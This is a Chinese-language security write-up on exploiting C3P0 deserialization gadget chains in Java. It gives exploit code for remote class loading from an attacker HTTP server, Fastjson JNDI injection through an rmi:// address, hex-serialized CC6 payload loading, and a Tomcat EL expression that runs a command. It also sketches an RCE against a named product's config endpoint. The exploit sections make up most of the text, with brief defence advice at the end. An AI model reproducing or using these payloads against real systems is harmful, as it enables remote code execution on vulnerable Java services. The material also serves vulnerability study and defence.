Java安全 - C3P0链原理分析
字数 1366 2025-08-19 12:42:34
C3P0反序列化漏洞分析与利用
1. C3P0简介
C3P0是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。连接池技术用于复用数据库连接句柄,避免频繁创建和销毁连接带来的资源消耗。
2. 漏洞环境
- JDK版本:8u65
- C3P0版本:0.9.5.2
- 依赖:
com.mchange:c3p0:0.9.5.2
3. C3P0常见利用方式
3.1 URLClassLoader远程类加载
利用链分析
-
关键方法:
ReferenceableUtils.referenceToObject()- 该方法实现了类似URLClassLoader的类加载功能
- 支持多种协议(file/jar/http)
-
调用链:
PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject -> ObjectFactory#getObjectInstance -
关键点:
PoolBackedDataSourceBase在序列化时会检查connectionPoolDataSource属性是否可序列化- 如果不可序列化,会使用
indirector.indirectForm方法处理 - 最终序列化的是
ReferenceSerialized对象
EXP构造
public class c3p {
public static void main(String[] args) throws Exception{
PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
f1.setAccessible(true);
f1.set(a,new evil());
ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
ser.writeObject(a);
}
public static class evil implements ConnectionPoolDataSource, Referenceable {
// 省略接口方法实现...
@Override
public Reference getReference() throws NamingException {
return new Reference("evilexp","evilexp","http://127.0.0.1:8888/");
}
}
}
3.2 JNDI注入
利用链分析
-
关键方法:
JndiRefForwardingDataSource#dereference()- 存在明显的
lookup函数调用
- 存在明显的
-
调用链:
setLoginTimeout -> getNestedDataSource -> dereference -> lookup -
利用条件:
- 需要配合Fastjson或Jackson反序列化漏洞
- 需要设置
jndiName属性
Fastjson EXP
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\":\"rmi://127.0.0.1:1099/muogbv\", " +
"\"LoginTimeout\":0" +
"}";
JSON.parse(payload);
3.3 HEX序列化字节加载
利用原理
-
关键类:
WrapperConnectionPoolDataSource- 构造方法中对
userOverrides属性的赋值存在特殊处理 - 会解析十六进制字符串并反序列化
- 构造方法中对
-
处理流程:
userOverridesAsString -> C3P0ImplUtils.parseUserOverridesAsString -> hex解码 -> SerializableUtils.fromByteArray -> ObjectInputStream.readObject -
注意事项:
- 需要在十六进制字符串头部加上
HexAsciiSerializedMap: - 末尾需要加上
; - 中间是序列化对象的十六进制表示
- 需要在十六进制字符串头部加上
EXP构造
public class Test {
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC6()));
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
// CC6利用链生成方法...
// 序列化转换方法...
}
3.4 不出网利用(Tomcat EL表达式)
利用条件
- 需要Tomcat 8相关依赖环境
- 利用
BeanFactory进行EL表达式注入
EXP构造
public class C3P0_Tomcat8 {
public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
// 省略其他方法...
}
// 序列化和反序列化方法...
}
4. 实战案例分析
云安宝-云匣子config fastjson RCE
漏洞分析
- 入口点:
/3.0/authService/config接口的Fastjson反序列化 - 利用方式:使用C3P0的HEX序列化字节加载方式
- 依赖版本:Fastjson 1.2.38
- 利用链:CC6 + JS引擎加载恶意类
攻击流程
- 生成CC6的序列化payload
- 转换为十六进制格式
- 构造Fastjson payload通过C3P0加载
- 最终执行JS引擎中的恶意代码实现回显
5. 防御建议
- 升级C3P0到最新安全版本
- 避免在不可信环境中使用Fastjson等易受攻击的JSON库
- 对反序列化操作进行严格的白名单控制
- 网络层面限制出站连接
- 使用安全产品监控可疑的JNDI和ClassLoader行为
6. 总结
C3P0反序列化漏洞主要通过三种方式利用:
- URLClassLoader远程加载恶意类
- JNDI注入
- HEX序列化字节加载
每种方式各有特点,攻击者可根据目标环境选择最适合的攻击方式。防御时需要从代码、配置和网络多个层面进行防护。